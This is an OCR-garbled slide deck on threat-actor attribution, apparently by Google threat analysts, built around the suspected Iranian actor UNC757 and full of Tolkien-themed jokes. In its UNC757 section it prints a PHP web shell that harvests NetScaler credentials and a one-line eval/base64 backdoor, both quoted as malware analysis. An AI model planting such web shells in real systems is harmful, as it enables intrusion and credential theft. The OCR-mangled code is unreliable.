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Beyond "What Happened' to "Who Did
It":
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The Impact of Knowing "Who"

Not about detecting attacks but understanding who is behind them
Reveals intent and capabilities of threat actors
From reactive to proactive defense

Lets us allocate resources

Supports strategic decisions

Made by&the Dwarves you know!
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Oh, n\fy old ring:.. Forged by tH_'e Dark Lord you/know




Consequences of Misattribution

Missed opportunities to mitigate future threats
Wasted resources
Reputational damage

Escalation of conflict

s \
You/fool4No man 'can kill me.

| am no man.
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UNC757: The Shadow and the
Light

How everythiles




UNC757 is a suspected Iranian threat actor leveraging
publicly available exploits, webshells including
ASPXSPY, ANTAK, TUNNA, CHOPPER and REGEORG, and
farsi words like kharpedar, nanash, and arbab.

Using exploits related to VPNs and network appliances.

Primarily supports cyber espionage operations, but they

have possible connections to ransomware and wiper
activity.

UNC757 was previously tied to the personas "nanash/’
and "BrOk3r" which posted advertisements on cyber
crime forums claiming to have access to various
networks.

In January 2023 variants of the publicly available
BLUEBEAM web shells with password "Coffee" is
attributed to UNC757.

content
365 bytes

PHP script, ASCII text, with CRLF line terminators a
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No matches found.

Description

This file contains a single PHP script block. The script is designed to listen for incoming HTTP GET connections. The script will extract data from the '’ parameter, and place it into a variable

named "Susername”. The script will also extract data from the ‘p’ parameter, and place it into a variable named "Spassw ". This data is then placed into the function "file_put_contents”,
along with the static string "netscaler.1". It appears this malicious web shell is designed to allow a remote operator to remotely add accounts to a compromised NetScaler device. This file

contains the following (partial) PHP script code:

Susername= $_GET['u');

o

password= $_GET[p;

f (Susername I="undefined"}

file_put_contents("netscaler.”, "Username:".Susername.PHP_EOL FILE_APPEND);

file_put_contents{"netscaler.1”, "Pass ;" Spassword.PHP_EOL FILE_APPEND);

file_put_contents{"netscaler.1”, " ".PHP_EOL ,FILE_APPEND);

}

https: 3 E S 25%a

—End PHP Code —



Identifying the Threat Actor's Signature

ctxHeaderLogon.php (MD5: dd0c57950f0ce4425a8fb4bac7af6aea)

<?php @eval(base64 _decode($_POST[ 'JohnCoffey2023!']));?>

WO0O0-HOO TIME:
e Use of TINYSHELL
e Exploiting Citrix CVE-2023-3519 Unauthenticated remote code execution
e Trusted 3rd party tips
e (offee resemblance?
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Lair of IRs and Tale of Two
Actor

An Unexpect




[TLP:AMBER]

There is Nothing Like Looking

<Slide content not shareable>
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[TLP:AMBER]

Understanding the Attribution

<Slide content not shareable>
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[TLP:AMBER]

Through the Mines of Moria: Initial Attributionﬁ

<Slide content not shareable>
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[TLP:AMBER]

The Reasons Behind the Attribution

<Slide content not shareable>
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Open Questions for Attribution

<Slide content not shareable>
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Other IRs

<Slide content not shareable>

Google Threat Intelligence Group Proprietary & Confidential



[TLP:AMBER]

Attribution Scenarios

<Slide content not shareable>
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From Tangle to Truth

<Slide content not shareable>
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[TLP:AMBER]

Detangling

<Slide content not shareable>
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IS

One Cluster to
Rule Them All

... and in the darkness bind them
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[TLP:AMBER]

One Cluster to Rule Them All

<Slide content not shareable>
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Lessons Learned

The importance of skepticism and challenging initial
assumptions.

F . Destroy it!
The impact of accurate attribution. )
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The value of collaboration and information sharing.

Okay.

AND THUS THE WORLD WAS SAVED

AND EVERYONE LIVED HAPPILY EVER AFTER
EXCEPT [SILDUR

THE END

OIRECTED BY

PETER JACKSON




IT'S FINISHED. 35

Thank you

IT'S DONE.
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